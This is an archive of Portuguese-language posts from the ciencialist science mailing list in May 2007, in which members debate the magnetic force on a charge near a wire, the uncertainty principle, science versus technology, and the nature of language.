> espaço entre as partes. Vc pode desde simplesmente
> desatarraxar o
> pneu, sem tirá-lo do lugar, até ter porções das
> moléculas de plástico
> do painel q se rompem sem sair do lugar.
>
> []s,
>
> Roberto Takata
>
>


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SUBJECT: Re: [ciencialist] Re: O Que é Raciocinar?
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/05/2007 12:37

Olá João!

João >>> Algo que o Pinker já disse. A possibilidade
de transmitir informações e pensamentos complexos
através da emissão de sons pela boca, tinta impressa
num papel, ou variação na intensidade de luz dos
pixels numa tela de vídeo. Tudo isso que estamos
fazendo aqui, todas as idéias que trocamos,
informações que comunicamos, se dão por intermédio da
linguagem.

--- Creio que para entender linguagem (de fato) é
preciso entender primeiro a relação entre tempo e
movimento. É preciso considerar que a linguagem é
inerente as leis que regem o comportamento da matéria
indivisivel. Estas leis são as leis do tempo. Leis do
sempre, como prefiro dizer, pois são imateriais e
eternas.

--- Ou seja, os diferentes códigos (linguagens) são as
diferentes frequencias (pulsos) da matéria
indivisivel. Linguagem é pulso.

João >>> E a linguagem não é algo que se inventa pela
cultura. Ela é produto de um sofisticado aparato
linguístico do cérebro.

--- Não é só do cérebro, é da natureza. O cérebro
também é uma decodificação do cérebro, percebe isto?

--- A linguagem é inerente a manifestação da matéria.
É as leis do tempo. Leis do sempre. Por isto não pode
ser inventada. Porque é o tempo que inventa (controla)
a forma da matéria, manifestação da matéria, e não
vice-versa.

João >>> É talvez a habilidade que mais diferencia o
homem dos outros animais.

--- Ai vc está inaltecendo o raciocinio. Volto a lhe
afirmar, linguagem é inerente a manifestação da
matéria indivisivel. A matéria indivisivel se
manistesta de diversas maneiras, logo existem diversas
linguagens de manifestação. Mas, essencialmente, todas
se resumem numa: o pulso.



sinceramente
ferrari

EXPERIMENTE XIXI COM TINTA (novo livro do Ferrari):
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SUBJECT: [RN] AIDS: COMO O HIV ESCAPA DO SISTEMA IMUNE
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/05/2007 12:52

FOLHA ONLINE, 14-05-2007

Cientistas identificam artimanha do HIV para driblar o sistema imunológico
http://www1.folha.uol.com.br/folha/ciencia/ult306u16433.shtml
-----------------
[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Re: Preciso fazer uma pergunta, pois estou c/dúvida
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 14/05/2007 13:05

Olá JC, RCA Victor e todos,

complementei o texto em
http://www.feiradeciencias.com.br/provisorio/principio_da_relatividade.htm

com as 7 figuras.

Qqer erro, please, avisem pois isso está em 'provisório'! Não está aberto ao público.

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "José Carlos Antonio" <profjc2003@yahoo.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: domingo, 13 de maio de 2007 20:43
Assunto: [ciencialist] Re: Preciso fazer uma pergunta, pois estou c/dúvida


Léo,

A velocidade v que você usa na fórmula Fm = Qv/c X B não deve ser a
velocidade da carga Q em relação ao campo?

Supondo que o fio criasse um campo sensível à Q e dependente da
velocidade do observador, teríamos o resultado interessante de que
qualquer fio retílineo criaria infinitos campos simultâneos, um para
cada um dos infinitos observadores possíveis, mas isso não parece ser
muito "natural" (embora possa ser tratado teoricamente).

Creio que a carga Q do seu problema "não vê" o campo que o observador
vê porque ela está em repouso em relação às cargas do fio. Ou, em
outras palavras, o que importa nesse problema é a velocidade relativa
entre a carga Q e as cargas do fio.

Evidentemene fica a pergunta: se o observador vê um campo magnético
gerado pelo fio e vê uma carga elétrica Q "movendo-se", então porque
será que ele não vê nenhuma força magnética "extra" alterando a
resultante em Q? Bom, talvez ele veja, mas em compensação também verá
um campo elétrico não-estático. Eu não pretendo fazer as contas, mas
acho que se levarmos isso em consideração ficará mostrado que a
resultante sobre Q será a mesma.

Pense nisso. (E faça as contas, se tiver tempo)

Abraços,
JC


--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
<leobarretos@...> escreveu
>
> Oi Victor,
>
> vc chegou a ver as figuras em
>
http://www.feiradeciencias.com.br/provisorio/principio_da_relatividade.htm
?
>
> []'
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@...
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
> -----Mensagem Original-----
> De: "J.Victor" <j.victor.neto@...>
> Para: <ciencialist@yahoogrupos.com.br>
> Enviada em: domingo, 13 de maio de 2007 12:51
> Assunto: RES: [ciencialist] Preciso fazer uma pergunta, pois estou
c/dúvida
>
>
>
>
>
>
> De: ciencialist@yahoogrupos.com.br
[mailto:ciencialist@yahoogrupos.com.br]
> Em nome de Luiz Ferraz Netto
> Enviada em: domingo, 13 de maio de 2007 09:45
> Para: ciencialist@yahoogrupos.com.br
> Assunto: Re: [ciencialist] Preciso fazer uma pergunta, pois estou
c/dúvida
>
>
>
> Léo: Oi Victor,
>
> vou contestar tudo que vc disse e dar os argumentos pertinentes. Apenas
> aguarde para a continuação da leitura do texto onde vou citar as três
> possibilidades.
>
> Todavia, já contestando, vou apontar uma 'falhazinha' no seguinte
texto de
> sua argumentação:
>
> >"Mas um campo magnético devido a uma corrente I numa dada direção é
> concêntrico à direção da corrente, sendo, portanto, perpendicular ao
> segmento R, saindo do papel ou entrando no papel onde R está
desenhado, esse
> mesmo R que liga o centro de L ao ponto onde está Q; mas somente se
fosse o
> caso de haver movimento relativo entre eles. Que, evidentemente, não há.
> Assim, a força resultante sobre Q seria o resultado de uma composição
> vetorial entre Fm e Fe, e não resultante de operação escalar, como
foi feito
> acima, pois Fm e Fe seriam perpendiculares e não colineares, como se
> depreende da proposição inicial."
>
> Aqui vc se esqueceu de um fato: Vc tem duas mãos! E vc usou uma só;
a regra
> da mão direita para achar a direção e sentido do campo magnético B.
OK, o
> campo B produzido pela corrente I em L, na posição de Q, é "saindo do
> papel", perpendicular à direção R. OK.
> Agora vamos usar a outra mão, a esquerda (lembra dela :-)) e colocar o
> indicador no sentido de B (saindo do papel), o dedo médio no sentido
de v
> (para baixo) e teremos como resultado a força de Lorentz Fm para
"dentro",
> dirigida para L e, portanto, diretamente oposta à Fe; dai F = Fe -
Fm (logo,
> uma mera operação escalar; Fe e Fm são colineares).
>
> Victor: Tem razão. E esqueci mesmo. E isto é óbvio. Apenas, no calor da
> escrita, por algum desses motivos que só depois dão o estalo, fiquei
só com
> a direção de B. Foi precisamente isso que corrigí no anterior.
Tudo bem.
> Mas já disse, ninguém é perfeito...
>
> Leó: Agora vou preparar a continuação do texto e ... pode tirar o
cavalinho
> da chuva, pois há movimento relativo entre Q (para baixo) e o CAMPO B
> (estacionário, pois B se repete identicamente em todos os pontos).
Quem age
> sobre Q (móvel) é B (fixo) e não a corrente I ou o fio infinito com
> distribuição uniforme de cargas em movimento.
>
> Isso é só para amaciar! :-))
>
> Victor: Ok.
>
> Sds,
>
> Victor.
>
>
>
> Té mais, vou aumentar meu texto ..........
>
> aquele abraço,
>
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@... <mailto:leobarretos%40uol.com.br>
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
> -----Mensagem Original-----
> De: "J.Victor" <j.victor.neto@... <mailto:j.victor.neto%40uol.com.br>
> >
> Para: <ciencialist@yahoogrupos.com.br
> <mailto:ciencialist%40yahoogrupos.com.br> >
> Enviada em: sábado, 12 de maio de 2007 17:36
> Assunto: [ciencialist] Preciso fazer uma pergunta, pois estou c/dúvida
>
> O retorno a seguir está meio longo, devido ao nível de detalhamento que
> coloquei. E o fiz pensando nos ciencialisteiro que não física em seu
dia a
> dia, mas que têm curiosidade ou interesse nessas coisas, e se
dispõem a ler,
> honrando nossos esforços.
>
> Espero que não tenha ficado enfadonho demais.
>
> [ ... ]
>
>
>
>
>
> [As partes desta mensagem que não continham texto foram removidas]
>
>
>
> ##### ##### #####
>
> Página de apoio
> http://www.ciencialist.com
>
>
> ##### ##### ##### #####
> Links do Yahoo! Grupos
>
>
>
>
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> No virus found in this incoming message.
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> Version: 7.5.467 / Virus Database: 269.6.5/793 - Release Date:
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SUBJECT: Re: [ciencialist] Re: Preciso fazer uma pergunta, pois estou c/dúvida
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 14/05/2007 13:07

Olá JC, RCA Victor e todos,

complementei o texto em
http://www.feiradeciencias.com.br/provisorio/principio_da_relatividade.htm

com as 7 figuras.

Qqer erro, please, avisem pois isso está em 'provisório'! Não está aberto ao público.

[]'

===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: segunda-feira, 14 de maio de 2007 08:31
Assunto: Re: [ciencialist] Re: Preciso fazer uma pergunta, pois estou c/dúvida


Olá JC,
No texto abaixo:
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "José Carlos Antonio" <profjc2003@yahoo.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: domingo, 13 de maio de 2007 20:43
Assunto: [ciencialist] Re: Preciso fazer uma pergunta, pois estou c/dúvida


Léo,

>A velocidade v que você usa na fórmula Fm = Qv/c X B não deve ser a
velocidade da carga Q em relação ao campo? <

Léo: Sim, é a mesma! E, no fundo é em relação ao campo B. Observe que para a carga Q o campo é 'fixo' (do mesmo modo que vc pode adotar como fixo os demais átomos e elétrons do fio que não participam como portadores de carga na corrente elétrica. Lembre-se da Experiência de Rowland!

>Supondo que o fio criasse um campo sensível à Q e dependente da
velocidade do observador, teríamos o resultado interessante de que
qualquer fio retílineo criaria infinitos campos simultâneos, um para
cada um dos infinitos observadores possíveis, mas isso não parece ser
muito "natural" (embora possa ser tratado teoricamente).<

Léo: Mas, será isso mesmo; apenas que, somente o componente perpendicular ao fio é o que interessa. Por outro lado, para determinados observadores (correndo perpendicular ao fio, por exemplo) isso não definiria corrente alguma e além disso haveria contração de espaço e tempo em outras direções.

>Creio que a carga Q do seu problema "não vê" o campo que o observador
vê porque ela está em repouso em relação às cargas do fio. Ou, em
outras palavras, o que importa nesse problema é a velocidade relativa
entre a carga Q e as cargas do fio.<

Léo: Não, o que importa é a velocidade relativa entre a carga Q e o campo B (que para todos os efeitos é fixo ao redor do fio).

>Evidentemene fica a pergunta: se o observador vê um campo magnético
gerado pelo fio e vê uma carga elétrica Q "movendo-se", então porque
será que ele não vê nenhuma força magnética "extra" alterando a
resultante em Q? Bom, talvez ele veja, mas em compensação também verá
um campo elétrico não-estático. Eu não pretendo fazer as contas, mas
acho que se levarmos isso em consideração ficará mostrado que a
resultante sobre Q será a mesma.<

Léo: Não é assim. Vou reproduzir a Experiência de Rowlando para vc perceber a 'estacionaridade' de B e o movimento relativo de Q em relação a B.

Experiência de Rowland: Considere um disco de PVC de raio R girando no plano horizontal mediante uma manivela instalada no seu eixo vertical. Na borda desse disco há um tubo metálico eletrizado com carga Q1 (uniformemente distribuida no comprimento 2.pi.R). Pondo-se esse disco para girar com frequencia F, a carga Q1 se comporta como carga em movimento e define a corrente I = F.Q1. O campo magnético B que se estabelece (por exemplo em todo plano que contém o disco) é estacionário (fora do disco, vertical para baixo; dentro do disco vertical para cima) --- é o campo criado pela corrente numa espira.
Fixando na borda do disco uma vareta isolante, radial para fora, e na ponta da vareta coloquemos uma carga Q2. Pronto, a carga Q2 cortará as linhas de força de B e sobre ela aparecerá a força magnética de Lorentz. Aqui, a velocidade angular de Q2 será a mesma da de Q1 (a linear não!).

Estamos encaminhando à contento?

aquele abraço,

Léo

Pense nisso. (E faça as contas, se tiver tempo)

Abraços,
JC




SUBJECT: Re: Preciso fazer uma pergunta, pois estou c/dúvida
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/05/2007 13:14

Léo,

Acho que descobri onde está o problema do seu experimento hipotético.
Daí fiquei me perguntando: porque não vimos isso logo de início? Vamos
lá...

O que a carga Q "sentirá", se "sentir algo", será a presença de um
campo magnético B resultante do movimento de todas as cargas do fio.
Porém o fio tem carga total nula e, na situação inicial, podemos
considerar que não tenha nenhuma corrente passando por ele. Pois bem,
quando visto do novo referencial, ainda que você possa imaginar
"correntes" (e pode!), haverá duas delas no fio: uma corrente de
elétrons e outra de prótons, ambas no mesmo sentido, pois ambos estão
em movimento para esse novo observador.

Usando as regrinhas da mão direita e da mão esquerda dá para ver
facilmente que os elétrons criariam um campo magnético B em Q e, por
sua vez, os prótons criariam no mesmo lugar um campo -B, resultando
assim em um campo magnético resultante nulo em Q.

Cruzes, isso parece tão simples dito dessa forma que até me espanta. :)

Como foi que esquecemos dos prótons antes? :)))

Abraços,
JC



--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
<leobarretos@...> escreveu
>
> Olá JC,
> No texto abaixo:
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@...
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
> -----Mensagem Original-----
> De: "José Carlos Antonio" <profjc2003@...>
> Para: <ciencialist@yahoogrupos.com.br>
> Enviada em: domingo, 13 de maio de 2007 20:43
> Assunto: [ciencialist] Re: Preciso fazer uma pergunta, pois estou
c/dúvida
>
>
> Léo,
>
> >A velocidade v que você usa na fórmula Fm = Qv/c X B não deve ser a
> velocidade da carga Q em relação ao campo? <
>
> Léo: Sim, é a mesma! E, no fundo é em relação ao campo B. Observe
que para a carga Q o campo é 'fixo' (do mesmo modo que vc pode adotar
como fixo os demais átomos e elétrons do fio que não participam como
portadores de carga na corrente elétrica. Lembre-se da Experiência de
Rowland!
>
> >Supondo que o fio criasse um campo sensível à Q e dependente da
> velocidade do observador, teríamos o resultado interessante de que
> qualquer fio retílineo criaria infinitos campos simultâneos, um para
> cada um dos infinitos observadores possíveis, mas isso não parece ser
> muito "natural" (embora possa ser tratado teoricamente).<
>
> Léo: Mas, será isso mesmo; apenas que, somente o componente
perpendicular ao fio é o que interessa. Por outro lado, para
determinados observadores (correndo perpendicular ao fio, por exemplo)
isso não definiria corrente alguma e além disso haveria contração de
espaço e tempo em outras direções.
>
> >Creio que a carga Q do seu problema "não vê" o campo que o observador
> vê porque ela está em repouso em relação às cargas do fio. Ou, em
> outras palavras, o que importa nesse problema é a velocidade relativa
> entre a carga Q e as cargas do fio.<
>
> Léo: Não, o que importa é a velocidade relativa entre a carga Q e o
campo B (que para todos os efeitos é fixo ao redor do fio).
>
> >Evidentemene fica a pergunta: se o observador vê um campo magnético
> gerado pelo fio e vê uma carga elétrica Q "movendo-se", então porque
> será que ele não vê nenhuma força magnética "extra" alterando a
> resultante em Q? Bom, talvez ele veja, mas em compensação também verá
> um campo elétrico não-estático. Eu não pretendo fazer as contas, mas
> acho que se levarmos isso em consideração ficará mostrado que a
> resultante sobre Q será a mesma.<
>
> Léo: Não é assim. Vou reproduzir a Experiência de Rowlando para vc
perceber a 'estacionaridade' de B e o movimento relativo de Q em
relação a B.
>
> Experiência de Rowland: Considere um disco de PVC de raio R girando
no plano horizontal mediante uma manivela instalada no seu eixo
vertical. Na borda desse disco há um tubo metálico eletrizado com
carga Q1 (uniformemente distribuida no comprimento 2.pi.R). Pondo-se
esse disco para girar com frequencia F, a carga Q1 se comporta como
carga em movimento e define a corrente I = F.Q1. O campo magnético B
que se estabelece (por exemplo em todo plano que contém o disco) é
estacionário (fora do disco, vertical para baixo; dentro do disco
vertical para cima) --- é o campo criado pela corrente numa espira.
> Fixando na borda do disco uma vareta isolante, radial para fora, e
na ponta da vareta coloquemos uma carga Q2. Pronto, a carga Q2 cortará
as linhas de força de B e sobre ela aparecerá a força magnética de
Lorentz. Aqui, a velocidade angular de Q2 será a mesma da de Q1 (a
linear não!).
>
> Estamos encaminhando à contento?
>
> aquele abraço,
>
> Léo
>
> Pense nisso. (E faça as contas, se tiver tempo)
>
> Abraços,
> JC
>
>
> --- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
> <leobarretos@> escreveu
> >
> > Oi Victor,
> >
> > vc chegou a ver as figuras em
> >
>
http://www.feiradeciencias.com.br/provisorio/principio_da_relatividade.htm
> ?
> >
> > []'
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> > Luiz Ferraz Netto [Léo]
> > leobarretos@
> > http://www.feiradeciencias.com.br/doacoes.asp
> > ===========================
> > -----Mensagem Original-----
> > De: "J.Victor" <j.victor.neto@>
> > Para: <ciencialist@yahoogrupos.com.br>
> > Enviada em: domingo, 13 de maio de 2007 12:51
> > Assunto: RES: [ciencialist] Preciso fazer uma pergunta, pois estou
> c/dúvida
> >
> >
> >
> >
> >
> >
> > De: ciencialist@yahoogrupos.com.br
> [mailto:ciencialist@yahoogrupos.com.br]
> > Em nome de Luiz Ferraz Netto
> > Enviada em: domingo, 13 de maio de 2007 09:45
> > Para: ciencialist@yahoogrupos.com.br
> > Assunto: Re: [ciencialist] Preciso fazer uma pergunta, pois estou
> c/dúvida
> >
> >
> >
> > Léo: Oi Victor,
> >
> > vou contestar tudo que vc disse e dar os argumentos pertinentes.
Apenas
> > aguarde para a continuação da leitura do texto onde vou citar as três
> > possibilidades.
> >
> > Todavia, já contestando, vou apontar uma 'falhazinha' no seguinte
> texto de
> > sua argumentação:
> >
> > >"Mas um campo magnético devido a uma corrente I numa dada direção é
> > concêntrico à direção da corrente, sendo, portanto, perpendicular ao
> > segmento R, saindo do papel ou entrando no papel onde R está
> desenhado, esse
> > mesmo R que liga o centro de L ao ponto onde está Q; mas somente se
> fosse o
> > caso de haver movimento relativo entre eles. Que, evidentemente,
não há.
> > Assim, a força resultante sobre Q seria o resultado de uma composição
> > vetorial entre Fm e Fe, e não resultante de operação escalar, como
> foi feito
> > acima, pois Fm e Fe seriam perpendiculares e não colineares, como se
> > depreende da proposição inicial."
> >
> > Aqui vc se esqueceu de um fato: Vc tem duas mãos! E vc usou uma só;
> a regra
> > da mão direita para achar a direção e sentido do campo magnético B.
> OK, o
> [ ... ]
>




SUBJECT: Re: Determinismo e incerteza
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/05/2007 13:19

Eu acho que é justamente o contrário, Jeff. :)

Ou será que a comunidade científica anda construindo casinhas por aí?

Abraços,
JC



--- Em ciencialist@yahoogrupos.com.br, "Jeff" <jeff@...> escreveu
>
> Olá JC,
>
> >
> >Nada contra a liberdade de viajar na maionese mas, como eu sugeri na
> >pergunta da mensagem anterior, ninguem garante que essas viagens na
> >maionese vão render algo, não é? E enquanto não rendem nada, fiquemos
> >com o princípio da incerteza que já está bem estabelecido e funciona.
> >
>
> Eu acho que eu engenheiro pode pensar assim, mas um cientista não! :-)
>
> Um abraço,
> Jeff.
>




SUBJECT: Re: Determinismo e incerteza
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/05/2007 13:35

Olá Alberto,

É, a resposta do Jeff é curta e bastante esclarecedora mesmo, mas eu
prefiro as suas que são extensas e bem mais esclarecedoras.

Veja que, assim como você, também nada tenho contra ou a favor à
teoria quântica. Apenas faço a ressalva de que ela é a melhor teoria
que temos para tratar do mundo microscópico e isso é um fato e não
apenas uma opinião. Logo, estamos falando de algo "bom", que
"funciona", que foi construído por centenas de mentes brilhantes,
inovadoras e criativas.

O Jeff faz um apelo "poético" mas bem ingênuo à nossa liberdade de
pensamento. É óbvio que todos podemos nos lançar a essas "viagens na
maionese" e me parece bem claro que todos os cientistas as façam
rotineiramente, embora não publiquem essas viagens e nem fiquem
defendendo-as em listas como se fossem o supra-sumo na "nova física".
Mas a questão cental é que essas viagens na maionese resultam em
fracassos quase sempre e nenhum bom método científico pode pregar algo
que resulte em fracasso "quase sempre" como "método recomendável".

Voce conhece bem a história da ciência e sabe que ela cresce em
"saltos quânticos", sem muitas transições intermediárias, logo, seria
ingenuidade também afirmar que se faz ciência de forma linear e
sistemática. Porém, é de forma linear e sistemática que avançamos
entre um salto e outro.

Sinceramente, eu creio que muitas mentes brilhantes pensam nesses
problemas todos os dias e que num dado momento novas idéias vão
surgir, mas enquanto elas não surgem não adianta nada ficar tentando
diminuir o que já existe com base apenas no desejo de que mudanças
ocorram.

Para se propor algo melhor do que o princípio da incerteza deve-se
antes de mais nada procurar entender o que esse princípio significa,
quando, como e porque ele foi proposto e, principalmente, o que se
pode fazer a partir dele.

O resto é conversa de "engenheiro" que não entende de física mas sonha
em construir um novo edifício para a ciência, como se isso pudesse ser
feito juntando tijolos ao acaso (má práica de engenharia, aliás).

Abraços,
JC


--- Em ciencialist@yahoogrupos.com.br, "Alberto Mesquita Filho"
<albmesq@...> escreveu
>
> ----- Original Message -----
> From: "José Carlos Antonio"
> Sent: Monday, May 14, 2007 2:27 AM
> Subject: [ciencialist] Re: Determinismo e incerteza
>
> > Nada contra a liberdade de viajar na maionese mas, como eu sugeri na
> > pergunta da mensagem anterior, ninguem garante que essas viagens na
> > maionese vão render algo, não é? E enquanto não rendem nada,
> > fiquemos com o princípio da incerteza que já está bem estabelecido e
> > funciona.
>
> Eu diria que a resposta do Jeff é curta mas bastante esclarecedora. O
> cientista *produtor de conhecimentos* tem de ser aguerrido e nada
> dogmático. Preocupar-se com falseamentos não tem o mesmo significado
> de preocupar-se com garantias. Como teria dito Faraday (ao fazer
> analogia com o nascimento das teorias): "Para que serve uma criança ao
> nascer?"
>
> Talvez fosse o caso de expandir um pouco a idéia do Jeff. Existiriam
> neste caso: 1) o cientista produtor de conhecimentos; 2) o cientista
> utilizador dos conhecimentos (engenheiros, tecnólogos, médicos etc.);
> e 3) o cientista armazenador e/ou distribuidor de conhecimentos
> (professor etc.). Não creio que, para aqueles situados na primeira
> categoria, a única filosofia de atuação fosse o utilitarismo, ainda
> que se justifique, nesse meio, a existência de utilitaristas a exemplo
> de Bohr.
>
> Na realidade eu não sou exatamente contra a teoria quântica nem outras
> teorias aceitas na atualidade. Sou contra a criação de um partido
> único e a ditar o que pode ou o que não pode ser feito em ciência,
> conforme defendido pelos seguidores da "filosofia" de Kuhn. É neste
> sentido que eu costumo dizer que prefiro a filosofia popperiana que, a
> meu ver, prega uma revolução permanente.
>
> [ ]´s
> Alberto
> http://ecientificocultural.com/indice.htm
> Mas indiferentemente a tudo isso, o elétron não é uma carga elétrica
> coulombiana e a Terra se move. E a história se repetirá.
>




SUBJECT: Re: Determinismo e incerteza
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/05/2007 13:42

Gil,

Concordo contigo. Essa sempre foi uma preocupação minha ao ensinar
física para os pequenos: não confundir ciência com tecnologia.

No entanto, o que traz muitos leigos ao assunto "ciência" é justamente
o fascínio da tecnologia. Há muitas pessoas que acreditam que sabendo
as leis de Newton poderão cosntruir naves espaciais no fundo de seus
quintais.

Fico num beco "meio sem saída" na hora de falar disso com meus
aluninhos leigos, pois de um lado não posso iludí-los de que basta a
ciência para se produzir boa tecnologia e, por outro, é claro que sem
boa ciência não se produz boa tecnologia. O casamento entre ambas não
me parece simples e só me parece compreensível à luz da história da
ciência e do desenvolvimento tecnológico; mas essa história é
complexa, tem muitos buracos e é muito mal contada (como você mesmo
sugere ao dizer que há poucos artigos relevantes sobre o tema).

Também gosto desse assunto e acompanho algumas discussões sobre ele.

Abraços,
JC



--- Em ciencialist@yahoogrupos.com.br, Gil <nanolink01@...> escreveu
>
> Alberto, esse é um tema bastante complicado, e o único para o qual é
> bastante dificil achar um artigo esclarecedor: A diferença entre a
produção
> de ciência e a produção de tecnologia. A nível bastante básico, fica
clara a
> diferença entre as duas: Não é preciso conhecer muito de
hidrodinâmica, ou
> das teorias de Arquimedes para fazer uma Canoa. E posso ser péssimo para
> fazer uma canoa, mesmo conhecendo Hidrodinamica e teorias náuticas.
>
> É claro, tecnologia e ciência são autopotencializadores, um cataliza o
> outro, mas isso não significa que boa tecnologia significa ciência
perfeita.
>
> Mas esta diferença fica difusa quando se trata de tecnologia e ciência
> moderna, em parte talvez porque a maioria das pessoas, eu inclusive, não
> conhece a fundo, nem uma, nem outra. E muitos amantes da ciência,
não fazem
> questão de esclarecer a diferença, em parte , talvez, por gostarem
de ser
> cobertos pela "aura" de infalibilidade da tecnologia. Para a
ciência, talvez
> isso seja prejudicial. Mas nunca é debatido..
>
> Já ouvi 2323³² vezes o argumento de que, sem a teoria (inclua aqui sua
> teoria preferida), não seria possivel construir computadores, não
haveriam
> televisores, os paralelepípedos não existiriam. Mesmo conceitos
abstratos
> como a teoria das "formas" de aristóteles já foi invocado , em outra
mailing
> list, como sustentação da tecnologia atômica!
>
> Sei que isso se deve á fronteira difusa entre teorização moderna e
> tecnologia moderna, mas poucos teorizadores dedicam algum tempo a falar
> desse assunto, mesmo que seja para esclarecer os leigos, dize-los
para não
> confundirem produção de tecnologia com produção de ciência.
>
> Esse seria um tema interessante para debater aqui na Ciencialist. De
minha
> parte, fico assistindo, mas se quiserem continuar elaborando o tema,
seria
> interessante para a maioria dos membros (acho)
>
>
>
> Gil
>
>
>
> Em 14/05/07, Alberto Mesquita Filho <albmesq@...> escreveu:
> >
> > ----- Original Message -----
> > From: "José Carlos Antonio"
> > Sent: Monday, May 14, 2007 2:27 AM
> > Subject: [ciencialist] Re: Determinismo e incerteza
> >
> > > Nada contra a liberdade de viajar na maionese mas, como eu sugeri na
> > > pergunta da mensagem anterior, ninguem garante que essas viagens na
> > > maionese vão render algo, não é? E enquanto não rendem nada,
> > > fiquemos com o princípio da incerteza que já está bem estabelecido e
> > > funciona.
> >
> > Eu diria que a resposta do Jeff é curta mas bastante esclarecedora. O
> > cientista *produtor de conhecimentos* tem de ser aguerrido e nada
> > dogmático. Preocupar-se com falseamentos não tem o mesmo significado
> > de preocupar-se com garantias. Como teria dito Faraday (ao fazer
> > analogia com o nascimento das teorias): "Para que serve uma criança ao
> > nascer?"
> >
> > Talvez fosse o caso de expandir um pouco a idéia do Jeff. Existiriam
> > neste caso: 1) o cientista produtor de conhecimentos; 2) o cientista
> > utilizador dos conhecimentos (engenheiros, tecnólogos, médicos etc.);
> > e 3) o cientista armazenador e/ou distribuidor de conhecimentos
> > (professor etc.). Não creio que, para aqueles situados na primeira
> > categoria, a única filosofia de atuação fosse o utilitarismo, ainda
> > que se justifique, nesse meio, a existência de utilitaristas a exemplo
> > de Bohr.
> >
> > Na realidade eu não sou exatamente contra a teoria quântica nem outras
> > teorias aceitas na atualidade. Sou contra a criação de um partido
> > único e a ditar o que pode ou o que não pode ser feito em ciência,
> > conforme defendido pelos seguidores da "filosofia" de Kuhn. É neste
> > sentido que eu costumo dizer que prefiro a filosofia popperiana que, a
> > meu ver, prega uma revolução permanente.
> >
> > [ ]´s
> > Alberto
> > http://ecientificocultural.com/indice.htm
> > Mas indiferentemente a tudo isso, o elétron não é uma carga elétrica
> > coulombiana e a Terra se move. E a história se repetirá.
> >
> >
> >
> > ##### ##### #####
> >
> > Página de apoio
> > http://www.ciencialist.com
> >
> >
> > ##### ##### ##### #####
> > Links do Yahoo! Grupos
> >
> >
> >
>
>
> [As partes desta mensagem que não continham texto foram removidas]
>




SUBJECT: P/ Gil - Re: Determinismo e incerteza
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/05/2007 13:45

Bem vindo à thread Homero, você sempre acrescenta algo positivo aos
debates.

Abraços,
JC


--- Em ciencialist@yahoogrupos.com.br, "oraculo333" <oraculo@...> escreveu
>
> Olá Gil
>
> GIl: "Já ouvi 2323³² vezes o argumento de que, sem a teoria (inclua
> aqui sua teoria preferida), não seria possivel construir computadores,
> não haveriam televisores, os paralelepípedos não existiriam. Mesmo
> conceitos abstratos como a teoria das "formas" de aristóteles já foi
> invocado, em outra mailing list, como sustentação da tecnologia
atômica!"
>
> Algumas coisas, em especial tecnologia de ponta, são impossíveis de
> construir sem a teoria, em especial as que dependem de cálculos
> prévios, como transistores e computadores. Outras seriam impossíveis
> de construir, porque não pensaríamos nelas sem a teoria ter
> apresentado essas possibilidades, como a bomba atômica.
>
> Outras seriam ineficazes ou rústicas sem a teoria, pois dependeriam de
> empirismo e tentativas e erros para serem criadas ou construídas, como
> edifícios. Já se construiram grandes catedrais na idade média, mas
> suas estruturas são super-dimensionadas, suas soluções muitas vezes
> rústicas ou ineficazes, e muitas caíram antes e depois de construídas
> por falta de cálculos necessários.
>
> Acho que é possível criar uma civilização tecnológica sem teoria, sem
> ciência pura, mas seria sempre menos eficaz que a nossa, e teria
> sempre limites bem mais restritos em seus avanços e possibilidades.
>
> As pirâmides são fantásticas obras de engenharia, quase sem cálculos
> (quase, pois egípcios eram bons em usar geometria aplicada), mas parte
> de seu fascínio é a época em que foram construídas e a limitação de
> recursos e materiais disponíveis. Embora defensores de aliens egípcios
> digam o contrário, com materiais modernos e engenharia moderna,
> poderíamos criar estruturas muito mais impactantes e de formas muito
> mais variadas (as pirâmides são piramidais por motivos de exigência
> estrutural, é a forma mais simples e segura de erguer algo tão grande
> com poucos recursos).
>
> Não é possível construir um chip de processador "tentando e errando",
> sem teoria e cálculos, não se pensaria em construir uma bomba atômica,
> sem a teoria atômica e a relatividade, e não se construiriam satélites
> sem a gravitação (leis de movimento que funcionam aqui na Terra,
> também funcionam no céu).
>
> Um abraço.
>
> Homero
>




SUBJECT: Re: Preciso fazer uma pergunta, pois estou c/dúvida
